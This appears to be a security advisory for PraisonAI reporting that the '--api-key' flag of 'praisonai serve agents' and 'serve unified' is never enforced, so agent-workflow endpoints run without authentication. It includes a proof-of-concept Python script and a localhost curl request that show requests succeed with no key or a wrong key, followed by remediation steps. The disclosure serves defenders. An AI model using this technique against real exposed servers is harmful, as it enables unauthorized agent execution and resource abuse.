GHSA-pvxx-r596-f5qj: Pip/PraisonAI vulnerability
Summary
praisonai serve agents and praisonai serve unified both accept --api-key for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.
Affected versions
- Confirmed on 4.6.50 (current PyPI, 2026-06-02) - Likely since 4.6.34 when the serve subsystem shipped - File: src/praisonai/praisonai/cli/features/serve.py
What happens
The CLI defines --api-key in the arg spec (serve.py:199) and passes the parsed value into createagentsapp(config). But that function never reads config["apikey"]. The FastAPI app gets created with no auth at all. Same thing in createunifiedapp.
The help text says --api-key <key> API key for authentication, so this isn't ambiguous — it's supposed to protect the server. It just doesn't. $ grep -n "apikey" src/praisonai/praisonai/cli/features/serve.py 107: --api-key <key> API key for authentication 199: "apikey": {"default": None}, 847: "apikey": {"default": None},
Endpoints exposed without auth
- POST /agents — runs the full agent workflow - POST /agents/{name} — invokes a specific agent - POST /api/v1/agents/{id}/invoke — n8n integration endpoint - GET / — lists all endpoints - GET /praisonai/discovery — service discovery
Not the same as CVE-2026-44338
CVE-2026-44338 was about the legacy deploy/api.py hardcoding AUTHENABLED = False. That was fixed in 4.6.34. This bug is in the newer serve subsystem that shipped in the same release — the --api-key flag exists but was never connected to anything.
PoC
Setup
bash python3 -m venv /tmp/poc-venv /tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml
Script
python import sys, types, tempfile, os
Stub heavy deps so we only test the serve auth logic for m in ["praisonai.endpoints.discovery", "praisonai.endpoints.server", "praisonai.api", "praisonai.api.agentinvoke", "praisonai.agentsgenerator", "praisonai.inc"]: sys.modules[m] = types.ModuleType(m)
disc = sys.modules["praisonai.endpoints.discovery"] class Fake: def init(self, k): pass def addprovider(self, a, k): pass def addendpoint(self, a, k): pass def todict(self): return {} disc.creatediscoverydocument = lambda k: Fake() disc.EndpointInfo = Fake disc.ProviderInfo = Fake sys.modules["praisonai.endpoints.server"].adddiscoveryroutes = lambda a,b: None sys.modules["praisonai.api.agentinvoke"].FASTAPIAVAILABLE = False
class FakeGen: def init(self, k): pass def generatecrewandkickoff(self): return {"executed": True, "result": "workflow ran"} sys.modules["praisonai.agentsgenerator"].AgentsGenerator = FakeGen
class FakeLLM: def todict(self): return {} sys.modules["praisonai.inc"].LLMConfig = FakeLLM
f = tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False) f.write("name: T\nagents:\n a:\n name: A\n role: R\n goal: G\n backstory: B\n") f.flush()
from praisonai.cli.features.serve import ServeHandler app = ServeHandler().createagentsapp({ "file": f.name, "host": "0.0.0.0", "port": 8000, "path": "/agents", "reload": False, "apikey": "supersecret", # <-- should protect the server })
from starlette.testclient import TestClient c = TestClient(app)
r1 = c.post("/agents", json={"query": "run"}) r2 = c.post("/agents", json={"query": "run"}, headers={"Authorization": "Bearer TOTALLYWRONG"})
print(f"No auth header → {r1.statuscode}") # 200 print(f"Wrong key → {r2.statuscode}") # 200
os.unlink(f.name)
Output
No auth header → 200 Wrong key → 200
Both succeed. The key is ignored.
Live server test
bash start server with --api-key praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999
hit it without any auth curl -s -X POST http://localhost:9999/agents \ -H "Content-Type: application/json" \ -d '{"query":"run all agents"}' → 200, workflow executes
Impact
Anyone who can reach the server can trigger agent workflows without credentials. The operator set --api-key and got no error, so they think it's protected.
What an attacker gets depends on what the agents.yaml workflow can do — LLM calls, tool use, file access, code execution, web requests. At minimum it's unauthenticated API quota burn.
Fix
createagentsapp() and createunifiedapp() need to actually read config["apikey"] and add a FastAPI dependency that checks the Authorization: Bearer header. When binding to a non-loopback address without --api-key, the server should warn or refuse to start.
References
- CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/PraisonAIto a version that resolves this vulnerability.Fixed in 4.6.58 - Upgrade
Upgrade
praisonai/serveto a version that resolves this vulnerability.Fixed in 4.6.34 - Configuration
In ServeHandler._create_agents_app() and _create_unified_app(), read config['api_key'] and add a FastAPI dependency/middleware that checks the Authorization: Bearer header; ensure GET /__praisonai__/discovery, GET /, POST /agents, POST /agents, and POST /api/v1/agents/{id}/invoke are not accessible when the header is missing or incorrect (the reported issue is that the key is parsed but never wired into the FastAPI app).
praisonai serve subsystem (FastAPI app created by ServeHandler) API key authentication wiring = Authorization: Bearer <api_key> header check must be added and config['api_key'] must be read (no auth middleware should exist without it) - Compensating control
When binding the serve server to a non-loopback address (host not 127.0.0.1/localhost) without providing --api-key, warn or refuse to start.
Event History
Frequently Asked Questions
Does configuring an API key restrict access to the served application?
No. The --api-key value is parsed and passed into application configuration, but neither the agents nor unified FastAPI application uses it to enforce authentication. The server remains accessible without an API key even when one is supplied.
Which deployments should be treated as exposed?
Deployments using praisonai serve agents or praisonai serve unified should be treated as exposed if reachable by untrusted users or networks. Unauthenticated requests can access endpoints including POST /agents, which runs the full agent workflow.
What versions are known or suspected to be affected?
Version 4.6.50 is confirmed affected. The issue is likely present from 4.6.34, when the serve subsystem was introduced, but that earlier range is not confirmed in the provided data.
How can I verify whether a deployment has this issue?
Check src/praisonai/praisonai/cli/features/serve.py for --api-key configuration that is passed to _create_agents_app or _create_unified_app but is never read to add middleware or validate a request header. A server that accepts requests without presenting the configured key is affected.